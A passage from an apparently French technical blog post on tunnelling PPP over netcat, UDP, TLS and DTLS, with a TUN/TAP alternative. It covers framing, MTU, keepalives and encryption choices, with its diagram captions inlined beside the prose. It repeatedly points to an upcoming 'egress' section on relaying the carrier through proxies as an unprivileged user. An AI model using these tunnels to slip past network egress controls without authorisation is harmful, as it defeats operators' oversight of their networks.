indépendants. IPv6 peut monter pendant qu'IPv4 discute encore, et un échec de l'un n'abat pas l'autre. L'interface commence à porter le trafic d'une famille dès que le protocole de contrôle de cette famille a fini. LCP règle le lien lui-même — la taille possible d\u0026rsquo;une trame, quels caractères de contrôle doivent être échappés, et un nombre magique qui détecte une ligne rebouclée. L\u0026rsquo;authentification est optionnelle et sautée ici. Puis un protocole de contrôle par couche réseau : IPCP pour IPv4, IPV6CP pour IPv6. Ils sont indépendants, si bien qu\u0026rsquo;un lien peut porter IPv6 pendant qu\u0026rsquo;IPv4 discute encore, et un échec dans l\u0026rsquo;un n\u0026rsquo;entraîne pas l\u0026rsquo;autre. Les deux outils de débogage utiles sont déjà installés et personne ne s\u0026rsquo;en sert :\n# log every frame in both directions to a file pppd ... debug record /tmp/ppp-trace # then read it back in a human-readable form pppdump -h /tmp/ppp-trace | less record écrit une capture horodatée de chaque octet, pppdump en fait quelque chose de lisible4, et avec tcpdump -ni ppp0 vous voyez les deux côtés — le tramage en dessous et les paquets au-dessus.\nLa Trame Sur Le Fil, Et Pourquoi 0x7E Est Partout PPP sur une ligne série — et un pty en est une, du point de vue de pppd — utilise le tramage HDLC asynchrone, et le comprendre fait la différence entre régler ce truc et deviner. Chaque trame commence et finit par le même octet : « Each frame begins and ends with a Flag Sequence, which is the binary sequence 01111110 (hexadecimal 0x7e) »5. Si 0x7e marque une frontière, il ne peut pas apparaître à l\u0026rsquo;intérieur d\u0026rsquo;une trame, donc il est échappé. Idem l\u0026rsquo;octet d\u0026rsquo;échappement 0x7d, et tout ce que l\u0026rsquo;un des bouts a demandé.\nLa trame, l'octet de fanion, et ce que coûte l'échappement Une trame, et les deux octets qui ne peuvent jamais y figurer 0x7E fanion 0xFF adresse 0x03 contrôle protocole 1 ou 2 octets charge utile — votre paquet IP jusqu'à l'unité de réception maximale convenue FCS CRC 16 bits 0x7E fanion L'ÉCHAPPEMENT, LA SEULE RÈGLE QUI EXISTE Tout octet qu'on pourrait prendre pour une frontière est remplacé par 0x7D suivi de l'octet d'origine en OU exclusif avec 0x20. charge 0x7E transmis en 0x7D 0x5E charge 0x7D transmis en 0x7D 0x5D Ces deux-là sont obligatoires. Tout le reste est décidé par la carte des caractères de contrôle — 32 bits, un par caractère. Carte à zéro — le défaut de pppd, et le bon choix sur une socket Deux octets échappés sur 256. Un surcoût que vous ne mesurerez jamais. Une socket est un chemin 8 bits propre et n'a besoin de rien d'autre. Les 32 marqués — le réglage modem prudent Sur des charges compressées ou chiffrées, environ un octet sur huit est sous 0x20 et double donc. Près de 12 % du lien, pour rien. La trame, c\u0026rsquo;est fanion, adresse, contrôle, protocole, charge utile, séquence de contrôle de trame, fanion. Tout octet à l\u0026rsquo;intérieur qui pourrait être pris pour une frontière est remplacé par 0x7D suivi de l\u0026rsquo;octet d\u0026rsquo;origine XOR 0x20. L\u0026rsquo;ACCM décide combien d\u0026rsquo;autres octets subissent le même traitement : zéro sur un chemin 8 bits propre, trente-deux si l\u0026rsquo;un des bouts demande le réglage prudent par défaut qui suppose un modem qui mange les caractères de contrôle. La règle d\u0026rsquo;échappement est exacte : « Each Flag Sequence, Control Escape octet, and any octet which is flagged in the sending Async-Control-Character-Map (ACCM), is replaced by a two octet sequence consisting of the Control Escape octet followed by the original octet exclusive-or\u0026rsquo;d with hexadecimal 0x20 »5.\nCette dernière partie est le bouton de réglage. L\u0026rsquo;ACCM fait 32 bits, un par caractère de contrôle, et un 1 veut dire « échappe ça ». Demandez-les tous et, sur des charges chiffrées où les octets sont pour ainsi dire aléatoires, environ un octet sur huit est sous 0x20 — à peu près 12 % de surcoût pour rien.\nLe pppd moderne fait déjà ce qu\u0026rsquo;il faut ici. Lisez la page de manuel plutôt que le folklore :\nIf no asyncmap option is given, the default is zero, so pppd will ask the peer not to escape any control characters.4\nasyncmap 0 est donc le défaut, pas une astuce, et un socket est un chemin 8 bits propre qui n\u0026rsquo;a besoin d\u0026rsquo;aucun échappement au-delà des deux octets obligatoires. Laissez-le tranquille ; ne posez des bits que quand quelque chose au milieu mange vraiment des caractères de contrôle — un serveur de terminaux, un concentrateur série, un mauvais proxy de console. La séquence de contrôle de trame à la fin est un CRC de 16 bits, et c\u0026rsquo;est elle qui fait marcher la construction UDP — ce qui vient ensuite.\nTCP Sur TCP Est Le Mauvais Transporteur La construction ci-dessus marche. Sur un établi de labo, sur du loopback ou un LAN tranquille, elle marche à merveille, ce qui est exactement pourquoi les gens la livrent.\nPuis elle rencontre une vraie liaison avec de la vraie perte. Elle s\u0026rsquo;écroule d\u0026rsquo;une façon qui ressemble à tout sauf à ce que c\u0026rsquo;est.\nLe problème, ce sont deux temporisateurs de retransmission indépendants empilés l\u0026rsquo;un sur l\u0026rsquo;autre, l\u0026rsquo;extérieur cachant la perte à l\u0026rsquo;intérieur. Olaf Titz a écrit l\u0026rsquo;explication de référence, ouvrant précisément sur cette construction :\nA frequently occurring idea for IP tunneling applications is to run a protocol like PPP, which encapsulates IP packets in a format suited for a stream transport (like a modem line), over a TCP-based connection. […] Unfortunately, it doesn\u0026rsquo;t work well. Long delays and frequent connection aborts are to be expected.6\nUn paquet perdu, deux transporteurs, deux issues très différentes Un paquet disparaît. Ce que fait ensuite chaque transporteur. TRANSPORTEUR TCP — le tunnel masque la perte 1 Le transporteur perd un segment. 2 Il le retransmet. Les octets arrivent en retard, pas manquants — et c'est tout le problème. 3 Le TCP tunnelé ne voit pas le transporteur. Il lit le retard comme de la congestion, double son temporisateur et retransmet des données déjà en vol. 4 Le transporteur doit l'original et un doublon, sur une liaison qui vient de prouver qu'elle perd. La file grandit plus vite que les couches ne la vident. Le débit s'effondre bien avant la liaison. TRANSPORTEUR UDP — la perte atteint la couche à qui elle appartient 1 Le transporteur jette le paquet et ne dit rien. 2 La trame PPP à l'intérieur rate sa somme de contrôle et est jetée. L'octet de fanion suivant resynchronise. 3 Le TCP tunnelé voit une vraie perte, parce que pour une fois on lui a dit la vérité sur le chemin. 4 Il divise sa fenêtre par deux et retransmet une fois. Le contrôle de congestion fait exactement ce pour quoi il est conçu. Un paquet perdu coûte un paquet. Le TCP transporteur garantit la livraison, donc un segment perdu est retransmis et les octets arrivent tard plutôt que pas du tout. Le TCP tunnelé à l\u0026rsquo;intérieur ne voit que le retard, décide que le réseau est congestionné, se replie et retransmet les mêmes données — que le transporteur doit maintenant livrer aussi. Le temporisateur de chaque couche essaie de réparer un problème que l\u0026rsquo;autre couche possède déjà, et la file grandit plus vite que l\u0026rsquo;une ou l\u0026rsquo;autre ne peut la vider. Un transporteur UDP jette le paquet, le TCP intérieur voit une vraie perte, et son contrôle de congestion fait le travail pour lequel il a été conçu. Voici la forme. Les deux TCP règlent un temporisateur de retransmission d\u0026rsquo;après leur temps d\u0026rsquo;aller-retour. Quand le transporteur perd un segment, il retransmet, donc les données de la connexion intérieure arrivent tard. Et le TCP intérieur, qui ne voit pas le transporteur, lit « tard » comme de la congestion et retransmet aussi. Le transporteur a maintenant l\u0026rsquo;original et un doublon à livrer sur une liaison qui perd déjà des paquets. Le temporisateur intérieur double, la file extérieure grandit, et le débit s\u0026rsquo;effondre bien avant la liaison. Rien dans les logs ne dit pourquoi.\nCe n\u0026rsquo;est pas un point subtil d\u0026rsquo;efficacité. C\u0026rsquo;est la différence entre un tunnel qui se dégrade avec grâce et un qui cesse de passer du trafic à peut-être 2 % de perte pendant que ping sur la même liaison a encore l\u0026rsquo;air bien — la raison de prendre UDP, et de ne garder TCP en réserve que pour une liaison qui ne passera rien d\u0026rsquo;autre.\nAlors prenez UDP — par défaut, pas par préférence.\nÉtape Deux : La Construction UDP, Le Socle Le même pppd, un transporteur différent. Le seul changement est dans la commande pty.\nBout qui écoute :\npppd nodetach noauth local passive \\ nodefaultroute noipdefault \\ 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --udp --listen 198.51.100.10 443\u0026#39; Bout qui se connecte :\npppd nodetach noauth local \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --udp 198.51.100.10 443\u0026#39; Deux choses à propos d\u0026rsquo;un écouteur UDP qui vont vous piéger, et aucune n\u0026rsquo;est un problème PPP.\nL\u0026rsquo;écouteur ne peut pas répondre tant qu\u0026rsquo;on ne lui a pas parlé. Un socket UDP n\u0026rsquo;a aucune connexion à accepter, donc netcat ne peut pas savoir où envoyer les réponses avant qu\u0026rsquo;un datagramme arrive. Il se verrouille sur la première adresse source et le premier port qu\u0026rsquo;il entend et parle à ça. Cela veut dire que le bout qui se connecte doit envoyer en premier — ce que pppd fait de lui-même, parce que le bout non passif tire immédiatement des LCP configure-requests. Cela veut dire aussi que si le port source du client change, le transporteur parle silencieusement au mauvais endroit. Derrière un NAT au timeout UDP court, c\u0026rsquo;est un tunnel qui meurt toutes les quelques minutes sans raison visible.\n--keep-open ne fait pas ce que vous voulez sur UDP. Le -k de Ncat garde un écouteur TCP acceptant après le départ d\u0026rsquo;un pair. Sur UDP il n\u0026rsquo;y a rien à accepter, donc récupérer veut dire relancer le transporteur — ce à quoi servent persist et holdoff, plus bas.\nLes deux sont des arguments pour socat, qui gère les pairs UDP plus soigneusement, et pour un superviseur plutôt que de compter sur le fait qu\u0026rsquo;il reste debout.\nPourquoi PPP Survit À Un Datagramme Perdu L\u0026rsquo;objection évidente à un transporteur UDP est que PPP attend un flux d\u0026rsquo;octets et qu\u0026rsquo;UDP n\u0026rsquo;en est pas un : les datagrammes arrivent entiers ou pas du tout, et peuvent arriver dans le désordre. Cela marche quand même, grâce à deux octets que le tramage a portés tout du long.\nUn datagramme perdu coûte une trame, et l'octet de fanion suivant récupère le lien Les frontières ne coïncident pas, et cela n'a pas d'importance TRAMES PPP TELLES QUE pppd LES A ÉCRITES 7E trame A + FCS 7E trame B + FCS 7E trame C + FCS 7E trame D + FCS CE QUE LE TRANSPORTEUR A VRAIMENT ENVOYÉ — netcat lit un tampon, pas une trame datagramme 1 datagramme 2 — perdu datagramme 3 datagramme 4 La trame B perd son milieu, donc sa somme de contrôle échoue et elle est jetée. La trame C perd ses premiers octets et suit le même chemin. Deux trames perdues, c'est deux paquets IP perdus. La couche du dessus les retransmet, et elle le fait en sachant que le chemin a perdu quelque chose — ce qui est précisément le signal qu'un transporteur TCP aurait masqué en les livrant en retard. Netcat lit ce qui est dans le tampon et l\u0026rsquo;écrit dans un datagramme, si bien que les frontières de trame et les frontières de datagramme n\u0026rsquo;ont rien à voir. Perdez un datagramme et le récepteur voit une trame à qui il manque des octets : la séquence de contrôle de trame échoue et la trame est jetée, exactement comme sur une ligne série bruitée. Le 0x7E suivant resynchronise le flux. Une trame jetée coûte un paquet, et la couche au-dessus le retransmet — ce qui est le signal de perte dont le TCP intérieur avait besoin et qu\u0026rsquo;il n\u0026rsquo;a jamais eu sur un transporteur TCP. PPP sur HDLC asynchrone a été conçu pour une ligne qui corrompt les octets. Chaque trame porte une séquence de contrôle de trame de 16 bits ; une trame qui échoue est jetée, et l\u0026rsquo;octet fanion suivant resynchronise le récepteur. Le désordre est plus rare que la perte et produit le même résultat : une mauvaise FCS, une trame jetée, une resynchro.\nUn datagramme perdu coûte donc une trame PPP — un paquet IP, l\u0026rsquo;état normal de tout réseau jamais construit. Le propriétaire du paquet retransmet, et le contrôle de congestion voit une vraie perte et réagit correctement. C\u0026rsquo;est tout l\u0026rsquo;argument pour UDP : il laisse le trafic dans le tunnel découvrir la vérité sur la liaison.\nNe laissez pas les trames devenir assez grosses pour que le transporteur doive les fragmenter, cependant. Un fragment perdu tue alors tout le datagramme et votre taux de perte effectif se multiplie. Gardez la MTU PPP bien sous la MTU du chemin.\nAdresses, Routes, Et Faire IPv6 Correctement ppp0 est une interface point à point — pas de sous-réseau, pas d\u0026rsquo;ARP — donc local:remote est tout l\u0026rsquo;adressage, et vous routez explicitement dessus. Pour un hôte unique atteignant un réseau derrière le bout distant :\n# on the client, after the link is up ip route add 203.0.113.0/24 via 192.0.2.1 dev ppp0 Pour que le bout distant relaie pour le compte du client, les deux étapes habituelles :\nsysctl -w net.ipv4.ip_forward=1 nft add rule inet nat postrouting oifname \u0026#34;eth0\u0026#34; ip saddr 192.0.2.2/32 masquerade proxyarp fera répondre le serveur à l\u0026rsquo;ARP pour le client sur son propre segment4, ce qui est joli jusqu\u0026rsquo;à ce qu\u0026rsquo;un second client veuille la même chose. Puis faites la partie que la plupart sautent. Faites tourner IPv6 dessus — un lien point à point sans NAT, sans domaine de diffusion et sans pénurie d\u0026rsquo;adresses est l\u0026rsquo;endroit le plus facile de votre réseau pour faire IPv6 correctement :\npppd nodetach noauth local \\ +ipv6 ipv6 ::1,::2 \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ pty \u0026#39;ncat --udp 198.51.100.10 443\u0026#39; +ipv6 active IPV6CP ; ipv6 \u0026lt;local\u0026gt;,\u0026lt;remote\u0026gt; fixe les deux identifiants d\u0026rsquo;interface de 64 bits4, le lien monte en lien-local, et vous ajoutez un /64 global par-dessus7. IPV6CP est indépendant d\u0026rsquo;IPCP, donc noip ne porte que de l\u0026rsquo;IPv6 — une chose raisonnable à construire en 2026, en un mot.\nLe Garder Debout Quand Le Transporteur Meurt En Silence C\u0026rsquo;est la panne qui gâche un après-midi, alors elle a sa propre section.\nUn transporteur TCP qui meurt mal — le bout distant éteint, une entrée de table NAT expirée, une middlebox qui a cessé de relayer — ne se ferme pas. Il n\u0026rsquo;y a ni FIN, ni RST, rien. Netcat reste là à tenir un socket qui ne livrera jamais un autre octet, pppd reste là à tenir un pty qui ne verra jamais une autre trame, et ip link rapporte joyeusement ppp0 comme UP. Un transporteur UDP n\u0026rsquo;a aucun état de connexion, donc il ne remarque jamais rien.\nPPP a la réponse intégrée, et elle est désactivée par défaut :\nlcp-echo-interval 10 lcp-echo-failure 3 Cela envoie un écho LCP toutes les dix secondes et abat le lien après trois sans réponse4 — trente secondes pour attraper un transporteur mort, exactement dans le cas que la page de manuel nomme, « no hardware modem control lines »4, c\u0026rsquo;est-à-dire tout pty jamais fait. Puis décidez de ce qui se passe après :\npersist maxfail 0 holdoff 5 Détecter un transporteur mort en trente secondes, et le reconstruire Un transporteur peut mourir sans se fermer. Voici comment PPP s'en aperçoit et s'en remet. Le transporteur meurt en silence bout distant éteint · entrée NAT partie · l'équipement intermédiaire ne relaie plus Rien ne le signale pas de FIN, pas de RST · ip link dit toujours ppp0 UP · UDP n'a pas d'état Le détecteur lcp-echo-interval 10 lcp-echo-failure 3 écho toutes les 10 s, coupé après 3 ratés — 30 s La reconstruction persist maxfail 0 holdoff 5 relancer, ne jamais renoncer, 5 s entre essais Un seul superviseur unité systemd, Restart=always, pppd relance la commande pty — netcat et socket tout neufs avec Mettez l'écho aux deux bouts. Un écho ne prouve que le chemin par lequel la réponse est revenue. Mettez `ip route` dans /etc/ppp/ip-up.d/ et les routes IPv6 dans /etc/ppp/ipv6-up.d/, pour que le routage soit réappliqué à chaque retour du lien — et non posé une fois à la main puis perdu à la première reconnexion. lcp-echo-interval 10 lcp-echo-failure 3 est le détecteur : écho toutes les dix secondes, lien à terre après trois manqués. persist maxfail 0 holdoff 5 est la reconstruction : redémarrer, ne jamais abandonner, attendre cinq secondes pour qu\u0026rsquo;une liaison qui bat ne devienne pas une bombe à fork — et pppd relance la commande pty, si bien qu\u0026rsquo;un netcat et un socket neufs viennent avec. Posez l\u0026rsquo;écho aux deux bouts ; un superviseur, une unité systemd avec Restart=always, vaut mieux que deux processus qui se disputent. Mettez ip route dans /etc/ppp/ip-up.d/, pour que le routage revienne avec le lien. Il N\u0026rsquo;A Ni Chiffrement Ni Authentification Tout ci-dessus est un tunnel qui marche. Ce n\u0026rsquo;est pas un tunnel sûr, et l\u0026rsquo;écart n\u0026rsquo;est pas un détail.\nIl n\u0026rsquo;y a aucun chiffrement. Pas de chiffrement faible. Aucun. Chaque paquet que vous passez là-dedans est en clair sur le fil, enveloppé dans une trame HDLC que n\u0026rsquo;importe quel outil de capture décode au premier coup d\u0026rsquo;œil. tcpdump vous montrera le contenu du tunnel de quelqu\u0026rsquo;un d\u0026rsquo;autre aussi volontiers que le vôtre.\nIl n\u0026rsquo;y a aucune authentification du pair. noauth le dit. Un écouteur netcat accepte ce qui arrive au port : la première connexion ou le premier datagramme de n\u0026rsquo;importe où. Le premier arrivé obtient un lien routé dans votre réseau. PPP a bien de l\u0026rsquo;authentification (PAP en clair, CHAP en défi-réponse8), et les deux prouvent qui est le pair sans chiffrer un seul octet de ce qui suit : CHAP ici vous donne un tunnel qui sait à qui il parle et publie quand même le contenu à quiconque est sur la liaison.\nIl y a une option de chiffrement dans la famille PPP — MPPE9, le module qui traîne dans ppp_mppe.ko. N\u0026rsquo;y touchez pas : c\u0026rsquo;est du RC4 tiré de l\u0026rsquo;échange MS-CHAPv2, cassé en public depuis plus d\u0026rsquo;une décennie, et la raison pour laquelle PPTP est mort. Construire un nouveau tunnel dessus en 2026 choisit un chiffre notoirement cassé plutôt qu\u0026rsquo;un qui marche et ne coûte rien.\nDonc le résumé honnête jusqu\u0026rsquo;ici : un lien routé sans confidentialité et sans contrôle d\u0026rsquo;accès. Bien pour un labo, bien à l\u0026rsquo;intérieur d\u0026rsquo;un lien déjà chiffré, bien nulle part ailleurs. La solution est de chiffrer le transporteur — les deux prochaines sections, et la raison de prendre ncat plutôt que le netcat que votre distribution a livré.\nÉtape Trois : Envelopper Le Transporteur Dans TLS La réponse propre laisse pppd exactement tel quel et remplace le transporteur par un qui fait TLS. pppd n\u0026rsquo;apprend jamais que quoi que ce soit a changé.\nD\u0026rsquo;abord le certificat. Un auto-signé suffit tant que le client le vérifie. Une session TLS non vérifiée est une conversation chiffrée avec quelqu\u0026rsquo;un que vous n\u0026rsquo;avez pas identifié, ce qui n\u0026rsquo;arrête personne :\nopenssl req -x509 -newkey rsa:4096 -days 825 -nodes \\ -keyout tunnel.key -out tunnel.crt \\ -subj \u0026#34;/CN=tunnel.example.net\u0026#34; \\ -addext \u0026#34;subjectAltName=DNS:tunnel.example.net\u0026#34; Ncat Ncat a TLS intégré. Il chaîne aussi à travers un proxy, --proxy host:port --proxy-type http|socks4|socks510, si bien que le transporteur peut se terminer à un relais plutôt qu\u0026rsquo;au bout distant du tunnel. C\u0026rsquo;est le point autour duquel tourne la section egress. Bout qui écoute :\npppd nodetach noauth local passive \\ nodefaultroute noipdefault 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 mtu 1400 mru 1400 \\ pty \u0026#39;ncat --listen --keep-open --ssl --ssl-cert tunnel.crt --ssl-key tunnel.key 443\u0026#39; Bout qui se connecte :\npppd nodetach noauth local \\ nodefaultroute noipdefault 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 mtu 1400 mru 1400 \\ pty \u0026#39;ncat --ssl --ssl-verify --ssl-trustfile tunnel.crt tunnel.example.net 443\u0026#39; --ssl-verify est le mot qui compte. Sans lui, --ssl vous donne du chiffrement contre un écouteur passif et rien contre celui qui répond au port en premier ; avec lui, Ncat vérifie la confiance et le nom de domaine contre le fichier de confiance11. Ncat n\u0026rsquo;a cependant pas de vérification côté serveur du certificat client, donc le serveur ne peut pas identifier le client. Associez-le à CHAP, ou prenez l\u0026rsquo;un des deux suivants.\nStunnel L\u0026rsquo;enrobage traditionnel, et le seul qui fait l\u0026rsquo;authentification mutuelle correctement :\n[ppp] accept = 443 connect = 127.0.0.1:6001 cert = /etc/stunnel/tunnel.crt key = /etc/stunnel/tunnel.key CAfile = /etc/stunnel/clients.crt verify = 2 verify = 2 exige un certificat client signé par une CA dans CAfile — le contrôle d\u0026rsquo;accès que la construction netcat n\u0026rsquo;a jamais eu. Le client lance stunnel en mode client, et la commande pty de pppd se connecte au côté clair local.\nSocat socat fait tout en un processus par bout, avec la vérification activée par défaut :\n# listening end pppd ... pty \u0026#39;socat - OPENSSL-LISTEN:443,reuseaddr,cert=tunnel.pem,cafile=clients.crt,verify=1\u0026#39; # connecting end pppd ... pty \u0026#39;socat - OPENSSL:tunnel.example.net:443,cafile=tunnel.crt,verify=1\u0026#39; socat n\u0026rsquo;est pas installé sur la machine où ceci a été écrit, donc cela vient de sa documentation — vérifiez vos propres drapeaux. Il vaut la peine d\u0026rsquo;être là : c\u0026rsquo;est le seul outil de ce billet qui fait tun, tap, TLS et DTLS en un seul processus.\nOpenssl, Quand Il N\u0026rsquo;Y A Rien D\u0026rsquo;Autre openssl est sur toute machine qui a TLS, et s_server/s_client portent un tube :\n# listening end pppd ... pty \u0026#39;openssl s_server -quiet -accept 443 -cert tunnel.crt -key tunnel.key\u0026#39; # connecting end pppd ... pty \u0026#39;openssl s_client -quiet -verify_return_error -CAfile tunnel.crt -connect tunnel.example.net:443\u0026#39; -quiet supprime la bannière qui autrement atterrirait dans votre flux PPP, et -verify_return_error fait qu\u0026rsquo;un échec de vérification ferme la connexion au lieu d\u0026rsquo;avertir et de continuer. Ce sont des outils de débogage qui se comportent comme tels, mais sur une machine où vous ne pouvez rien installer ils font monter un lien.\nNu, TLS sur TCP, ou DTLS sur UDP Même moitié lien aux deux bouts. Seul le milieu change. pppd ou tap0 netcat nu, UDP ncat --udp --listen 6000 pppd ou tap0 En clair sur le fil, et l'écouteur prend qui atteint le port le premier. Pas de confidentialité, pas de contrôle d'accès. pppd ou tap0 TLS sur TCP — ncat, stunnel ou openssl ncat --ssl --ssl-verify --ssl-trustfile tunnel.crt host 6000 pppd ou tap0 Protégé, et le certificat dit qui est le bout distant. Mais le transporteur est de nouveau TCP — et c'est la seule forme qui peut compresser en flux. pppd ou tap0 DTLS sur UDP — socat ou openssl socat - OPENSSL-DTLS-CLIENT:host:6000,cafile=tunnel.crt,verify=1 pppd ou tap0 Chiffré, authentifié, et toujours des datagrammes. Un paquet perdu reste perdu au lieu de deux piles qui se disputent. Visez ici. Le même pppd aux deux bouts tout du long — seule la commande pty change. Le netcat nu vous donne un lien que rien ne protège. TLS sur TCP protège les octets et réintroduit le problème du transporteur TCP. DTLS sur UDP est la forme à viser : chiffré, authentifié, et toujours un transporteur à datagrammes, si bien qu\u0026rsquo;un paquet perdu reste un paquet perdu au lieu de devenir un combat de retransmission entre deux piles. Étape Quatre : DTLS, Parce Que Le Transporteur Devrait Rester UDP Voici la partie délicate, et la raison pour laquelle cette section est à part. Chaque option TLS ci-dessus tourne sur TCP, si bien qu\u0026rsquo;envelopper le transporteur dans TLS défait l\u0026rsquo;argument pour UDP et vous rend l\u0026rsquo;effondrement. Le chiffrement et le bon transport ne devraient pas être un marchandage. DTLS est TLS sur datagrammes, et c\u0026rsquo;est ce que vous voulez : il garde la protection de la couche d\u0026rsquo;enregistrement, abandonne les garanties d\u0026rsquo;ordre et de retransmission, et laisse les paquets perdus perdus, ce qui est exactement ce que la séquence de contrôle de trame de PPP est faite pour absorber.\nNcat ne peut pas le faire. socat et openssl le peuvent :\n# listening end pppd ... pty \u0026#39;socat - OPENSSL-DTLS-LISTEN:443,cert=tunnel.pem,cafile=clients.crt,verify=1\u0026#39; # connecting end pppd ... pty \u0026#39;socat - OPENSSL-DTLS-CLIENT:tunnel.example.net:443,cafile=tunnel.crt,verify=1\u0026#39; Et avec openssl seul, où -dtls choisit n\u0026rsquo;importe quelle version de DTLS :\n# listening end pppd ... pty \u0026#39;openssl s_server -quiet -dtls -accept 443 -cert tunnel.crt -key tunnel.key\u0026#39; # connecting end pppd ... pty \u0026#39;openssl s_client -quiet -dtls -verify_return_error -CAfile tunnel.crt -connect tunnel.example.net:443\u0026#39; Surveillez la taille des trames. Un enregistrement DTLS ne peut pas être fragmenté comme un enregistrement TLS s\u0026rsquo;étale sur un flux TCP, donc tout doit tenir dans la MTU du chemin d\u0026rsquo;un coup.\nLa pile de surcoûts, et la MTU intérieure qui reste Partez de la MTU du chemin et servez-vous de ce qui reste en-tête IP20 (v4) / 40 (v6) en-tête UDP8 enregistrement DTLS + étiquette≈ 30 tramage PPP / Ethernetquelques-uns MTU intérieure — ce que le tunnel peut porter : visez 1400, plancher 1280 Un enregistrement DTLS ne peut pas être fragmenté comme un enregistrement TLS s'étale sur un flux TCP : tout cela doit tenir d'un coup dans la MTU du chemin. Même forme qu'OpenVPN depuis 2001 — un transporteur à datagrammes, DTLS, une interface virtuelle au-dessus. Pas excentrique ; juste séparé. Descendez depuis 1500 : 20 octets d\u0026rsquo;en-tête IPv4 ou 40 d\u0026rsquo;IPv6, 8 d\u0026rsquo;UDP, environ 30 pour l\u0026rsquo;enregistrement DTLS et son tag, quelques-uns pour le tramage, et le reste est la MTU intérieure que le tunnel peut porter. Visez 1400 sur un chemin ordinaire ; 1280 est le plancher sûr si quelque chose au milieu est lui-même un tunnel. Cette forme — un transporteur à datagrammes, DTLS, une interface virtuelle par-dessus — est assez proche de ce qu\u0026rsquo;OpenVPN fait depuis 2001. Pas excentrique ; juste déballé. Régler La Construction PPP : MTU, Compression Et Ce Qui Aide Vraiment Quatre boutons, tous des options pppd — la construction tap de la section suivante n\u0026rsquo;en a aucun, parce qu\u0026rsquo;elle n\u0026rsquo;a aucune des machineries qu\u0026rsquo;ils règlent.\nQuatre boutons pppd : un à poser, un à laisser, deux à couper Un à poser, un à laisser, deux à couper POSEZ-LE MTU et MRU Aux deux bouts, avec de la marge : 1400 simple, 1280 sous un tunnel. Une trame fragmentée perd un paquet entier. LAISSEZ-LA ACCM Déjà à zéro par défaut, ce qui est juste sur une socket propre. N'y touchez que si quelque chose mange les caractères de contrôle. COUPEZ novj Compression d'en-têtes de Van Jacobson Économise une erreur d'arrondi sur un lien rapide, coûte du CPU par paquet et casse sous la perte. Coupée au-dessus du modem. COUPEZ nodeflate nobsdcomp La charge est déjà en TLS/DTLS — compresser du texte chiffré est du travail pur, et à travers une frontière de sécurité, une attaque. Rien de tout cela n'accélère le tunnel. PPP n'est pas le goulot — PPPoE fait 2 Gbit sur le même démon, parce que son chemin de données reste dans le noyau. Le coût ici, c'est le pty : chaque octet passe en espace utilisateur et revient. Cela appartient au pseudo-terminal, pas à PPP. La MTU et la MRU, c\u0026rsquo;est celui qui compte : posez les deux aux deux bouts avec de la marge, car une trame que le transporteur doit fragmenter perd un paquet entier à chaque perte. L\u0026rsquo;ACCM est déjà à zéro et correcte sur un socket propre. Coupez la compression d\u0026rsquo;en-tête Van Jacobson avec novj au-dessus de la vitesse d\u0026rsquo;un modem. Elle économise une erreur d\u0026rsquo;arrondi, coûte du CPU par paquet et casse sous la perte. Coupez deflate/bsdcomp : la charge est déjà chiffrée, et compresser à travers une frontière de sécurité est une attaque, pas une fonctionnalité. Rien de tout cela ne rend le tunnel plus rapide, et la raison compte parce que PPP en prend le blâme et ne devrait pas. PPP n\u0026rsquo;est pas le goulot. PPPoE porte 2 Gbit sur le même daemon, parce que son chemin de données ne quitte jamais le noyau — ppp_generic et pppoe font le tramage et le relayage, et pppd ne gère que le plan de contrôle. Ce qui vous coûte ici, c\u0026rsquo;est le pty : chaque octet traverse vers l\u0026rsquo;espace utilisateur, à travers netcat, dans un socket et revient, un aller-retour que PPPoE ne fait jamais. Cela appartient au pseudo-terminal, pas à PPP.\nCe qui est un bon moment pour regarder l\u0026rsquo;autre façon de faire, celle où il n\u0026rsquo;y a pas de pty du tout.\nL\u0026rsquo;Autre Façon : Un Tap, Et Aucun PPP Tout jusqu\u0026rsquo;ici a utilisé PPP pour la moitié « lien ». Il y a une seconde façon de faire une interface virtuelle, et elle n\u0026rsquo;a besoin d\u0026rsquo;aucun protocole.\nLe pilote TUN/TAP du noyau vous remet une interface et un descripteur de fichier liés l\u0026rsquo;un à l\u0026rsquo;autre : écrivez un paquet dans le descripteur et il apparaît sur l\u0026rsquo;interface comme s\u0026rsquo;il venait d\u0026rsquo;un fil ; lisez et vous obtenez un paquet que le noyau voulait envoyer. C\u0026rsquo;est toute l\u0026rsquo;interface12, et elle est dans Linux depuis 1999.\nip tuntap add dev tap0 mode tap user damien group damien ip link set tap0 mtu 1400 up ip addr add 192.0.2.1/30 dev tap0 Un tap, c'est une interface d'un côté et un descripteur de fichier de l'autre Pas de démon, pas de protocole, pas de pseudo-terminal. Un descripteur de fichier. NOYAU tap0 une interface ordinaire, avec adresse et route /dev/net/tun TUNSETIFF nomme le périphérique obtenu votre processus socat, ou cinquante lignes de Python tenant le fd socket UDP une trame par datagramme le réseau et le bout distant une lecture = une trame Ce qui manque face à la construction PPP : pas de taille de trame négociée, pas de vérification de vivacité, pas d'adresses échangées, pas d'authentification. Vous configurez les deux bouts à la main et ils n'en discutent jamais. Rien ne surveille le lien, donc rien ne vous dira qu'il est mort. Ni daemon ni protocole. Le noyau présente tap0 comme une interface ordinaire et remet l\u0026rsquo;autre côté au processus qui a ouvert /dev/net/tun. Une lecture rend exactement une trame Ethernet ; une écriture en injecte exactement une. Tout ce que pppd négociait — adresses, tailles de trame, vivacité — vous le configurez maintenant à la main aux deux bouts, et les deux bouts n\u0026rsquo;en discutent jamais. Deux détails dans cette première commande valent plus qu\u0026rsquo;il n\u0026rsquo;y paraît.\nuser damien rend le périphérique persistant et non privilégié. Créé ainsi, il survit au processus qui l\u0026rsquo;utilise, et un utilisateur nommé peut l\u0026rsquo;ouvrir sans être root. Root crée le périphérique une fois ; la chose qui pellette les trames n\u0026rsquo;a pas besoin de root du tout. Gardez cette pensée pour la section egress.\nmode tun est l\u0026rsquo;autre moitié du même pilote, et c\u0026rsquo;est celle que la plupart veulent en fait. Tun porte des paquets IP. Tap porte des trames Ethernet. La différence compte assez pour avoir sa propre section plus bas.\nCe que vous abandonnez face à PPP, 